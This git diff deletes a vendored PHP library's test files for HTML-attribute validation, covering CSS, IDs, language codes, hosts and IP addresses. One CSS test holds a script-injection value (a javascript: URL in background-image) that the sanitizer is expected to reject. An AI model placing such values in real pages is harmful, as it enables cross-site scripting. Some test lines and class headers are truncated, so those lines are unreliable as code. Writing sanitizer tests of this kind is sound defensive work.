b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php deleted file mode 100644 index a47512e690..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php +++ /dev/null @@ -1,192 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS(); - } - - public function test() - { - // regular cases, singular - $this->assertDef('text-align:right;'); - $this->assertDef('border-left-style:solid;'); - $this->assertDef('border-style:solid dotted;'); - $this->assertDef('clear:right;'); - $this->assertDef('float:left;'); - $this->assertDef('font-style:italic;'); - $this->assertDef('font-variant:small-caps;'); - $this->assertDef('font-weight:bold;'); - $this->assertDef('list-style-position:outside;'); - $this->assertDef('list-style-type:upper-roman;'); - $this->assertDef('list-style:upper-roman inside;'); - $this->assertDef('text-transform:capitalize;'); - $this->assertDef('background-color:rgb(0,0,255);'); - $this->assertDef('background-color:transparent;'); - $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); - $this->assertDef('background:#333 url("che;ss.png") repeat fixed 50% top;'); - $this->assertDef('color:#F00;'); - $this->assertDef('border-top-color:#F00;'); - $this->assertDef('border-color:#F00 #FF0;'); - $this->assertDef('border-top-width:thin;'); - $this->assertDef('border-top-width:12px;'); - $this->assertDef('border-width:5px 1px 4px 2px;'); - $this->assertDef('border-top-width:-12px;', false); - $this->assertDef('letter-spacing:normal;'); - $this->assertDef('letter-spacing:2px;'); - $this->assertDef('word-spacing:normal;'); - $this->assertDef('word-spacing:3em;'); - $this->assertDef('font-size:200%;'); - $this->assertDef('font-size:larger;'); - $this->assertDef('font-size:12pt;'); - $this->assertDef('line-height:2;'); - $this->assertDef('line-height:2em;'); - $this->assertDef('line-height:20%;'); - $this->assertDef('line-height:normal;'); - $this->assertDef('line-height:-20%;', false); - $this->assertDef('margin-left:5px;'); - $this->assertDef('margin-right:20%;'); - $this->assertDef('margin-top:auto;'); - $this->assertDef('margin:auto 5%;'); - $this->assertDef('padding-bottom:5px;'); - $this->assertDef('padding-top:20%;'); - $this->assertDef('padding:20% 10%;'); - $this->assertDef('padding-top:-20%;', false); - $this->assertDef('text-indent:3em;'); - $this->assertDef('text-indent:5%;'); - $this->assertDef('text-indent:-3em;'); - $this->assertDef('width:50%;'); - $this->assertDef('width:50px;'); - $this->assertDef('width:auto;'); - $this->assertDef('width:-50px;', false); - $this->assertDef('min-width:50%;'); - $this->assertDef('min-width:50px;'); - $this->assertDef('min-width:auto;', false); - $this->assertDef('min-width:initial;'); - $this->assertDef('min-width:inherit;'); - $this->assertDef('min-width:-50px;', false); - $this->assertDef('min-width:50ch;'); - $this->assertDef('min-width:50rem;'); - $this->assertDef('min-width:50vw;'); - $this->assertDef('min-width:-50vw;', false); - $this->assertDef('text-decoration:underline;'); - $this->assertDef('font-family:sans-serif;'); - $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); - $this->assertDef('font:12px serif;'); - $this->assertDef('border:1px solid #000;'); - $this->assertDef('border-bottom:2em double #FF00FA;'); - $this->assertDef('border-collapse:collapse;'); - $this->assertDef('border-collapse:separate;'); - $this->assertDef('caption-side:top;'); - $this->assertDef('vertical-align:middle;'); - $this->assertDef('vertical-align:12px;'); - $this->assertDef('vertical-align:50%;'); - $this->assertDef('table-layout:fixed;'); - $this->assertDef('list-style-image:url("nice.jpg");'); - $this->assertDef('list-style:disc url("nice.jpg") inside;'); - $this->assertDef('background-image:url("foo.jpg");'); - $this->assertDef('background-image:none;'); - $this->assertDef('background-repeat:repeat-y;'); - $this->assertDef('background-attachment:fixed;'); - $this->assertDef('background-position:left 90%;'); - $this->assertDef('border-spacing:1em;'); - $this->assertDef('border-spacing:1em 2em;'); - $this->assertDef('border-color: rgb(0, 0, 0) rgb(10,0,10)', 'border-color:rgb(0,0,0) rgb(10,0,10);'); - $this->assertDef('border: rgb(0, 0, 0)', 'border:rgb(0,0,0);'); - - // duplicates - $this->assertDef('text-align:right;text-align:left;', - 'text-align:left;'); - - // a few composites - $this->assertDef('font-variant:small-caps;font-weight:900;'); - $this->assertDef('float:right;text-align:right;'); - - // selective removal - $this->assertDef('text-transform:capitalize;destroy:it;', - 'text-transform:capitalize;'); - - // inherit works for everything - $this->assertDef('text-align:inherit;'); - - // bad props - $this->assertDef('nodice:foobar;', false); - $this->assertDef('position:absolute;', false); - $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); - - // airy input - $this->assertDef(' font-weight : bold; color : #ff0000', - 'font-weight:bold;color:#ff0000;'); - - // case-insensitivity - $this->assertDef('FLOAT:LEFT;', 'float:left;'); - - // !important stripping - $this->assertDef('float:left !important;', 'float:left;'); - - } - - public function testProprietary() - { - $this->config->set('CSS.Proprietary', true); - - $this->assertDef('scrollbar-arrow-color:#ff0;'); - $this->assertDef('scrollbar-base-color:#ff6347;'); - $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); - $this->assertDef('scrollbar-face-color:#008080;'); - $this->assertDef('scrollbar-highlight-color:#ff69b4;'); - $this->assertDef('scrollbar-shadow-color:#f0f;'); - - $this->assertDef('-moz-opacity:0.2;'); - $this->assertDef('-khtml-opacity:0.2;'); - $this->assertDef('filter:alpha(opacity=20);'); - - $this->assertDef('border-top-left-radius:55pt 25pt;'); - - } - - public function testImportant() - { - $this->config->set('CSS.AllowImportant', true); - $this->assertDef('float:left !important;'); - } - - public function testTricky() - { - $this->config->set('CSS.AllowTricky', true); - $this->assertDef('display:none;'); - $this->assertDef('visibility:visible;'); - $this->assertDef('overflow:scroll;'); - $this->assertDef('opacity:0.2;'); - } - - public function testForbidden() - { - $this->config->set('CSS.ForbiddenProperties', 'float'); - $this->assertDef('float:left;', false); - $this->assertDef('text-align:right;'); - } - - public function testTrusted() - { - $this->config->set('CSS.Trusted', true); - $this->assertDef('position:relative;'); - $this->assertDef('left:2px;'); - $this->assertDef('right:100%;'); - $this->assertDef('top:auto;'); - $this->assertDef('z-index:-2;'); - } - - public function testAllowDuplicates() - { - $this->config->set('CSS.AllowDuplicates', true); - $this->assertDef('text-align:right;text-align:left;'); - $this->assertDef('text-align:right;text-align:left;text-align:right;'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php deleted file mode 100644 index 6271dfe757..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php +++ /dev/null @@ -1,41 +0,0 @@ -def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); - $this->assertDef('one'); - $this->assertDef('ONE', 'one'); - } - - public function testCaseSensitive() - { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); - $this->assertDef('one'); - $this->assertDef('ONE', false); - } - - public function testFixing() - { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); - $this->assertDef(' one ', 'one'); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_Enum(); - - $def = $factory->make('foo,bar'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); - $this->assertIdentical($def, $def2); - - $def = $factory->make('s:foo,BAR'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php deleted file mode 100644 index d2fccd9bd6..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertDef('foo'); - $this->assertDef('', 'foo'); - $this->assertDef('bar', 'foo'); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_HTML_Bool(); - $def = $factory->make('foo'); - $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php deleted file mode 100644 index 46e1c44032..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Class(); - } - public function testAllowedClasses() - { - $this->config->set('Attr.AllowedClasses', array('foo')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - public function testForbiddenClasses() - { - $this->config->set('Attr.ForbiddenClasses', array('bar')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - public function testDefault() - { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0stillvalid'); - $this->assertDef('-0'); - - // test conditional replacement - $this->assertDef('validassoc 0valid', 'validassoc 0valid'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - // test duplicate removal - $this->assertDef('valid valid', 'valid'); - } - public function testXHTML11Behavior() - { - $this->config->set('HTML.Doctype', 'XHTML 1.1'); - $this->assertDef('0invalid', false); - $this->assertDef('valid valid', 'valid'); - } -} diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php deleted file mode 100644 index a7215f9f94..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php +++ /dev/null @@ -1,22 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Color(); - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('43', false); - $this->assertDef('red', '#FF0000'); - $this->assertDef('RED', '#FF0000'); - $this->assertDef('#FF0000'); - $this->assertDef('#453443'); - $this->assertDef('453443', '#453443'); - $this->assertDef('#345', '#334455'); - $this->assertDef('120', '#112200'); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php deleted file mode 100644 index 6bc5f08a4a..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php +++ /dev/null @@ -1,31 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - } - - public function testNoneAllowed() - { - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('_blank', false); - $this->assertDef('baz', false); - } - - public function test() - { - $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); - $this->assertDef('', false); - $this->assertDef('foo'); - $this->assertDef('_blank'); - $this->assertDef('baz', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php deleted file mode 100644 index 8c612d9fb5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php +++ /dev/null @@ -1,121 +0,0 @@ -context->register('IDAccumulator', $id_accumulator); - $this->config->set('Attr.EnableID', true); - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - } - - public function test() - { - // valid ID names - $this->assertDef('alpha'); - $this->assertDef('al_ha'); - $this->assertDef('a0-:.'); - $this->assertDef('a'); - - // invalid ID names - $this->assertDef('assertDef('0123', false); - $this->assertDef('.asa', false); - - // test duplicate detection - $this->assertDef('once'); - $this->assertDef('once', false); - - // valid once whitespace stripped, but needs to be amended - $this->assertDef(' whee ', 'whee'); - - } - - public function testPrefix() - { - $this->config->set('Attr.IDPrefix', 'user_'); - - $this->assertDef('alpha', 'user_alpha'); - $this->assertDef('assertDef('once', 'user_once'); - $this->assertDef('once', false); - - // if already prefixed, leave alone - $this->assertDef('user_alas'); - $this->assertDef('user_user_alas'); // how to bypass - - } - - public function testTwoPrefixes() - { - $this->config->set('Attr.IDPrefix', 'user_'); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - - $this->assertDef('alpha', 'user_story95_alpha'); - $this->assertDef('assertDef('once', 'user_story95_once'); - $this->assertDef('once', false); - - $this->assertDef('user_story95_alas'); - $this->assertDef('user_alas', 'user_story95_user_alas'); // ! - } - - public function testLocalPrefixWithoutMainPrefix() - { - // no effect when IDPrefix isn't set - $this->config->set('Attr.IDPrefix', ''); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set'); - $this->assertDef('amherst'); - - } - - // reference functionality is disabled for now - public function disabled_testIDReference() - { - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); - $this->assertDef('good_id'); // duplicates okay - $this->assertDef('', false); - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - $this->assertDef('good_id'); - $this->assertDef('good_id', false); // duplicate now not okay - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); // reference still okay - - } - - public function testRegexp() - { - $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); - - $this->assertDef('good_id'); - $this->assertDef('g_bad_id', false); - - } - - public function testRelaxed() - { - $this->config->set('Attr.ID.HTML5', true); - - $this->assertDef('123'); - $this->assertDef('x[1]'); - $this->assertDef('not ok', false); - $this->assertDef(' ', false); - $this->assertDef('', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php deleted file mode 100644 index da37b8da9c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php +++ /dev/null @@ -1,33 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Length(); - } - - public function test() - { - // pixel check - parent::test(); - - // percent check - $this->assertDef('25%'); - - // Firefox maintains percent, so will we - $this->assertDef('0%'); - - // 0% <= percent <= 100% - $this->assertDef('-15%', '0%'); - $this->assertDef('120%', '100%'); - - // fractional percents, apparently, aren't allowed - $this->assertDef('56.5%', '56%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php deleted file mode 100644 index ad30aa7823..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); - $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); - - $this->assertDef('', false); - $this->assertDef('nofollow', true); - $this->assertDef('nofollow foo', true); - $this->assertDef('nofollow bar', 'nofollow'); - $this->assertDef('bar', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php deleted file mode 100644 index d1b3f13f34..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_MultiLength(); - } - - public function test() - { - // length check - parent::test(); - - $this->assertDef('*'); - $this->assertDef('1*', '*'); - $this->assertDef('56*'); - - $this->assertDef('**', false); // plain old bad - - $this->assertDef('5.4*', '5*'); // no decimals - $this->assertDef('-3*', false); // no negatives - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php deleted file mode 100644 index d466146e46..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php +++ /dev/null @@ -1,36 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - } - - public function testDefault() - { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0invalid', false); - $this->assertDef('-0', false); - - // test conditional replacement - $this->assertDef('validassoc 0invalid', 'validassoc'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php deleted file mode 100644 index c7f36772dd..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php +++ /dev/null @@ -1,47 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - public function test() - { - $this->assertDef('1'); - $this->assertDef('0'); - - $this->assertDef('2px', '2'); // rm px suffix - - $this->assertDef('dfs', false); // totally invalid value - - // conceivably we could repair this value, but we won't for now - $this->assertDef('9in', false); - - // test trim - $this->assertDef(' 45 ', '45'); - - // no negatives - $this->assertDef('-2', '0'); - - // remove empty - $this->assertDef('', false); - - // round down - $this->assertDef('4.9', '4'); - - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->def = $factory->make('30'); - $this->assertDef('25'); - $this->assertDef('35', '30'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php deleted file mode 100644 index 2061a3660e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php +++ /dev/null @@ -1,62 +0,0 @@ -def = new HTMLPurifier_AttrDef_Integer(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('-1'); - $this->assertDef('-10'); - $this->assertDef('14'); - $this->assertDef('+24', '24'); - $this->assertDef(' 14 ', '14'); - $this->assertDef('-0', '0'); - - $this->assertDef('-1.4', false); - $this->assertDef('3.4', false); - $this->assertDef('asdf', false); // must not return zero - $this->assertDef('2in', false); // must not return zero - - } - - public function assertRange($negative, $zero, $positive) - { - $this->assertDef('-100', $negative); - $this->assertDef('-1', $negative); - $this->assertDef('0', $zero); - $this->assertDef('1', $positive); - $this->assertDef('42', $positive); - } - - public function testRange() - { - $this->def = new HTMLPurifier_AttrDef_Integer(false); - $this->assertRange(false, true, true); // non-negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false); - $this->assertRange(false, false, true); // positive - - - // fringe cases - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); - $this->assertRange(false, false, false); // allow none - - $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); - $this->assertRange(true, false, false); // negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); - $this->assertRange(false, true, false); // zero - - $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); - $this->assertRange(true, true, false); // non-positive - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php deleted file mode 100644 index 4ed011ca0e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php +++ /dev/null @@ -1,85 +0,0 @@ -def = new HTMLPurifier_AttrDef_Lang(); - - // basic good uses - $this->assertDef('en'); - $this->assertDef('en-us'); - - $this->assertDef(' en ', 'en'); // trim - $this->assertDef('EN', 'en'); // case insensitivity - - // (thanks Eugen Pankratz for noticing the typos!) - $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci - - $this->assertDef('fr en', false); // multiple languages - $this->assertDef('%', false); // bad character - - // test overlong language according to syntax - $this->assertDef('thisistoolongsoitgetscut', false); - - // primary subtag rules - // I'm somewhat hesitant to allow x and i as primary language codes, - // because they usually are never used in real life. However, - // theoretically speaking, having them alone is permissable, so - // I'll be lenient. No XML parser is going to complain anyway. - $this->assertDef('x'); - $this->assertDef('i'); - // real world use-cases - $this->assertDef('x-klingon'); - $this->assertDef('i-mingo'); - // because the RFC only defines two and three letter primary codes, - // anything with a length of four or greater is invalid, despite - // the syntax stipulation of 1 to 8 characters. Because the RFC - // specifically states that this reservation is in order to allow - // for future versions to expand, the adoption of a new RFC will - // require these test cases to be rewritten, even if backwards- - // compatibility is largely retained (i.e. this is not forwards - // compatible) - $this->assertDef('four', false); - // for similar reasons, disallow any other one character language - $this->assertDef('f', false); - - // second subtag rules - // one letter subtags prohibited until revision. This is, however, - // less volatile than the restrictions on the primary subtags. - // Also note that this test-case tests fix-behavior: chop - // off subtags until you get a valid language code. - $this->assertDef('en-a', 'en'); - // however, x is a reserved single-letter subtag that is allowed - $this->assertDef('en-x', 'en-x'); - // 2-8 chars are permitted, but have special meaning that cannot - // be checked without maintaining country code lookup tables (for - // two characters) or special registration tables (for all above). - $this->assertDef('en-uk', true); - - // further subtag rules: only syntactic constraints - $this->assertDef('en-us-edison'); - $this->assertDef('en-us-toolonghaha', 'en-us'); - $this->assertDef('en-us-a-silly-long-one'); - - // rfc 3066 stipulates that if a three letter and a two letter code - // are available, the two letter one MUST be used. Without a language - // code lookup table, we cannot implement this functionality. - - // although the HTML protocol, technically speaking, allows you to - // omit language tags, this implicitly means that the parent element's - // language is the one applicable, which, in some cases, is incorrect. - // Thus, we allow und, only slightly defying the RFC's SHOULD NOT - // designation. - $this->assertDef('und'); - - // because attributes only allow one language, mul is allowed, complying - // with the RFC's SHOULD NOT designation. - $this->assertDef('mul'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php deleted file mode 100644 index 23cbe2a736..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php +++ /dev/null @@ -1,37 +0,0 @@ -with = new HTMLPurifier_AttrDefMock(); - $this->without = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); - } - - public function testWith() - { - $token = new HTMLPurifier_Token_Start('tag'); - $this->context->register('CurrentToken', $token); - $this->with->expectOnce('validate'); - $this->with->returns('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - - public function testWithout() - { - $token = new HTMLPurifier_Token_Start('other-tag'); - $this->context->register('CurrentToken', $token); - $this->without->expectOnce('validate'); - $this->without->returns('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php deleted file mode 100644 index 5412ac103c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php +++ /dev/null @@ -1,17 +0,0 @@ -def = new HTMLPurifier_AttrDef_Text(); - - $this->assertDef('This is spiffy text!'); - $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php deleted file mode 100644 index 418325b1a0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php +++ /dev/null @@ -1,14 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php deleted file mode 100644 index 83fd89d860..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php +++ /dev/null @@ -1,32 +0,0 @@ -assertDef('bob@example.com'); - $this->assertDef(' bob@example.com ', 'bob@example.com'); - $this->assertDef('bob.thebuilder@example.net'); - $this->assertDef('Bob_the_Builder-the-2nd@example.org'); - $this->assertDef('Bob%20the%20Builder@white-space.test'); - - // extended format, with real name - //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); - //$this->assertDef('Bob Builder '); - - // time to fail - $this->assertDef('bob', false); - $this->assertDef('bob@home@work', false); - $this->assertDef('@example.com', false); - $this->assertDef('bob@', false); - $this->assertDef('', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php deleted file mode 100644 index c047a6979c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php +++ /dev/null @@ -1,64 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Host(); - - $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 - $this->assertDef('124.15.6.89'); // IPv4 - $this->assertDef('www.google.com'); // reg-name - - // more domain name tests - $this->assertDef('test.'); - $this->assertDef('sub.test.'); - $this->assertDef('.test', false); - $this->assertDef('ff'); - $this->assertDef('1f'); // per RFC 1123 - // See also http://serverfault.com/questions/638260/is-it-valid-for-a-hostname-to-start-with-a-digit - $this->assertDef('-f', false); - $this->assertDef('f1'); - $this->assertDef('f-', false); - $this->assertDef('sub.ff'); - $this->assertDef('sub.1f'); // per RFC 1123 - $this->assertDef('sub.-f', false); - $this->assertDef('sub.f1'); - $this->assertDef('sub.f-', false); - $this->assertDef('ff.top'); - $this->assertDef('1f.top'); - $this->assertDef('-f.top', false); - $this->assertDef('ff.top'); - $this->assertDef('f1.top'); - $this->assertDef('f1_f2.ex.top', false); - $this->assertDef('f-.top', false); - $this->assertDef('1a'); - - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", 'xn--fiq228c.com.cn', true); - - } - - public function testIDNA() - { - if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2'] && !function_exists("idn_to_ascii")) { - return false; - } - $this->config->set('Core.EnableIDNA', true); - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); - $this->assertDef("faß.de", "xn--fa-hia.de"); - $this->assertDef("\xe2\x80\x85.com", false); // rejected - } - - function testAllowUnderscore() { - $this->config->set('Core.AllowHostnameUnderscore', true); - $this->assertDef("foo_bar.example.com"); - $this->assertDef("foo_.example.com", false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php deleted file mode 100644 index db365887c5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php +++ /dev/null @@ -1,25 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv4(); - - $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable - $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable - $this->assertDef('255.255.255.255'); // standard IPv4 - - $this->assertDef('300.0.0.0', false); // standard IPv4, out of range - $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed - - $this->assertDef('', false); // nothing - - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php deleted file mode 100644 index 33d2786ac4..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php +++ /dev/null @@ -1,43 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv6(); - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full - $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full - $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full - $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full - $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed - $this->assertDef('FF01::101'); // multicast, compressed - - $this->assertDef('::1'); // loopback, compressed, non-routable - $this->assertDef('::'); // unspecified, compressed, non-routable - 